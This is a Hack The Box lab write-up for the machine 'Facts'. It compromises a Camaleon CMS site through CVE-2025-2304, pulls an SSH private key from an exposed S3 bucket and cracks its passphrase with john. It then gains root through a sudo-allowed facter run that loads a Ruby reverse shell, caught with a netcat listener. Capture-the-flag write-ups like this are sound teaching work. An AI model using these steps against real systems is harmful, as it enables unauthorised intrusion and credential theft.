HTB - Facts Writeup

Liam Geyer

๐Ÿ‘พ Machine Overview

This is a writeup of the machine Facts from HTB, itโ€™s an easy difficulty Linux machine which featured a CVE in Camaleon CMS, S3 Bucket enumeration, SSH Key shenanigans, and some passwordless sudo privesc.

๐Ÿ” Enumeration

An initial scan of the host gave the following results:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
naabu -host 10.129.244.96 -Pn

__
___ ___ ___ _/ / __ __
/ _ \/ _ \/ _ \/ _ \/ // /
/_//_/\_,_/\_,_/_.__/\_,_/

projectdiscovery.io

[INF] Current naabu version 2.3.7 (outdated)
[WRN] UI Dashboard is disabled, Use -dashboard option to enable
[INF] Running CONNECT scan with non root privileges
10.129.244.96:80
10.129.244.96:22
[INF] Found 2 ports on host 10.129.244.96 (10.129.244.96)

Looks like weโ€™re stuck with web, and SSH.

๐ŸฆŽ Camaleon CMS

After adding facts.htb to my /etc/hosts file, I was able to checkout the website running on port 80.

Facts Homepage

Trivia Page

The site has a basic search bar, random trivia facts, and user comments. I wasnโ€™t able to do anything fun with the search bar or the existing elements, so I dirbโ€™d to find hidden subdirectories.

1
gobuster dir -w /tools/SecLists/Discovery/Web-Content/big.txt -u http://facts.htb

This found a /admin endpoint that presents us with an admin login panel.

Admin Login

New user registration was enabled - so I used the Create an account button to register a new user and login.

Version Disclosure

We donโ€™t have any interesting permissions within the application - but it does disclose a version Camaleon CMS v2.9.0. Doing a little research this version of Camaleon CMS is vulnerable to CVE-2025-2304, a privilege escalation exploit that allows an authenticated user to elevate to administrator privileges within the CMS.

I used this exploit from predyy to exploit this vuln and promote my user to an admin.

1
2
3
4
5
6
7
8
9
python exp.py http://facts.htb [username] [password]
[*] Logging in as erm ...
[+] Login successful
[+] Got profile page
[i] Version detected: 2.9.0 (< 2.9.1) - appears to be vulnerable version
[+] authenticity_token: gw-owntl7C-kDkP-MUmbTHT4oIYgmav-KH77lpeeQRPb5trsaQEKBJ03CQc-vldDedbjY2z-_drgShJPg4izSw
http://facts.htb/admin/users/5/updated_ajax
[*] Submitting password change request
[+] Submit successful, you should be admin

After logging back into the application we can see our user successfully promoted to an admin!

Admin CMS Access

We have access to a chunk of additional menus - I started poking around to see how to leverage these new privileges to get code execution on the host. I tried finding a way to deploy a webshell or something similar, but wasnโ€™t successful.

๐Ÿชฃ Someone Grab a Bucket

Checking out the site configuration we can see that AWS S3 buckets are being used to store site content.

AWS S3 Configuration

AWS S3 buckets are cloud-based object storage buckets that are commonly used to store static assets, app file uploads, and more. Here we can see that the endpoint in use is http://localhost54321 - indicating that thereโ€™s a local bucket implementation on port 54321 instead of actually being in AWS.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
naabu -host facts.htb -p 54321

__
___ ___ ___ _/ / __ __
/ _ \/ _ \/ _ \/ _ \/ // /
/_//_/\_,_/\_,_/_.__/\_,_/

projectdiscovery.io

[INF] Current naabu version 2.3.7 (outdated)
[WRN] UI Dashboard is disabled, Use -dashboard option to enable
[INF] Host discovery disabled: less than two ports were specified
[INF] Running CONNECT scan with non root privileges
facts.htb:54321
[INF] Found 1 ports on host facts.htb (10.129.244.96)

Scanning that port - we can see that itโ€™s externally accessible, so we can connect to the bucket using the AWS access key from Camaleon, and the AWS CLI. I created a new profile in ~/.aws/credentials to configure the credentials and region.

1
2
3
aws s3 ls --endpoint-url=http://facts.htb:54321 --profile=facts
2025-09-11 08:06:52 internal
2025-09-11 08:06:52 randomfacts

Listing out the available buckets, we can see that thereโ€™s randomfacts, which is used by Camaleon, and an additional internal bucket.

The randomfacts bucket stored the trivia and other assets found on the facts website, but internal was a bit more interesting.

1
2
3
4
5
6
7
8
9
aws s3 ls --endpoint-url=http://facts.htb:54321 --profile=facts s3://internal

[SNIPPED]
2026-01-08 13:47:17 32 .bundle/cache/compact_index/rubygems.org.443.29b0360b937aa4d161703e6160654e47/versions.etag
2026-01-08 14:01:43 0 .cache/motd.legal-displayed
2026-01-08 13:47:17 20 .lesshst
2026-01-08 13:47:17 807 .profile
2026-02-17 09:22:29 82 .ssh/authorized_keys
2026-02-17 09:22:29 464 .ssh/id_ed25519

here we can see an authorized keys file, and a private SSH key. I pulled down the SSH key, we should be able to use it to access the host as the respective user.

1
aws s3 cp --endpoint-url=http://facts.htb:54321 --profile=facts s3://internal/.ssh/id_ed25519 ./id_ed25519

We have the keyfile, but we need the username that goes with it to be able to SSH into the box. We can do this using ssh-keygen (news to me), but itโ€™s password protected.

1
2
ssh-keygen -y -f id_ed25519 > public-key.pub
Enter passphrase:

Not a problem; weโ€™ll grab a hash and crack it (john was only used out of laziness..).

1
2
3
4
5
6
7
8
# Grabbing a hash from the keyfile
python3 /tools/john/run/ssh2john.py id_ed25519 > ssh.hash

# Cracking the hash
./john --wordlist=/tools/rockyou.txt /working/facts/ssh.hash

# Revealing the hash
./john --show /working/facts/ssh.hash id_ed25519:[REDACTED] 1 password hash cracked, 0 left

Now we can use the same ssh-keygen to get the public key, which contains the username [email protected].

We can use that to SSH in as trivia, but we canโ€™t grab the user flag yet.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
ssh [email protected] -i id_ed25519          
Enter passphrase for key 'id_ed25519':
Last login: Wed Jan 28 16:17:19 UTC 2026 from 10.10.14.4 on ssh
Welcome to Ubuntu 25.04 (GNU/Linux 6.14.0-37-generic x86_64)

* Documentation: https://help.ubuntu.com
* Management: https://landscape.canonical.com
* Support: https://ubuntu.com/pro

System information as of Tue Feb 17 03:38:07 PM UTC 2026

System load: 0.02
Usage of /: 72.3% of 7.28GB
Memory usage: 18%
Swap usage: 0%
Processes: 220
Users logged in: 1
IPv4 address for eth0: 10.129.244.96
IPv6 address for eth0: dead:beef::250:56ff:feb0:3316


0 updates can be applied immediately.


The list of available updates is more than a week old.
To check for new updates run: sudo apt update
trivia@facts:~$

๐Ÿ’Ž Privesc

First thing I did was check out the commands trivia could run with sudo:

1
2
3
4
5
6
trivia@facts:~$ sudo -l
Matching Defaults entries for trivia on facts:
env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin, use_pty

User trivia may run the following commands on facts:
(ALL) NOPASSWD: /usr/bin/facter

How serendipitous. According to GTFOBins facter will execute the first Ruby .rb file in the directory we provide it. This can be used to get command execution or a shell as root since we can run it with sudo. Facter is a tool to grab system and configuration info from the host.

I dropped a Ruby reverse shell on the host, started a listener, and ran it with facter.

1
trivia@facts:~$ sudo facter --custom-dir=./

That gave me a callback as root - which we can then use to grab the user flag from Williamโ€™s home directory, and the root flag :) Yippee!

1
2
3
4
5
6
nc -lvnp 6969
Listening on 0.0.0.0 6969
Connection received on 10.129.244.96 59492
We are connected!
whoami
root

๐Ÿ“– Resources

๐Ÿ”— Hyperlinkโ„น๏ธ Info
predyy/CVE-2025-2304Camaleon privesc script
NIST: CVE-2025-2304Camaleon privesc CVE entry
GTFOBins: FacterGTFOBins entry on Facter use/privesc
secjohn/ruby-shellsRuby revshell
SSH2JohnJohn script to grab crackable hashes from SSH private key files
Cybersec Notes: SSH Pubkey RecoveryMy notes page on SSH pubkey recovery
  • Title: HTB - Facts Writeup
  • Author: Liam Geyer
  • Created at : 2026-05-29 00:00:00
  • Updated at : 2026-06-02 20:25:18
  • Link: https://lfgberg.org/2026/05/29/htb/facts/
  • License: This work is licensed under CC BY-NC-SA 4.0.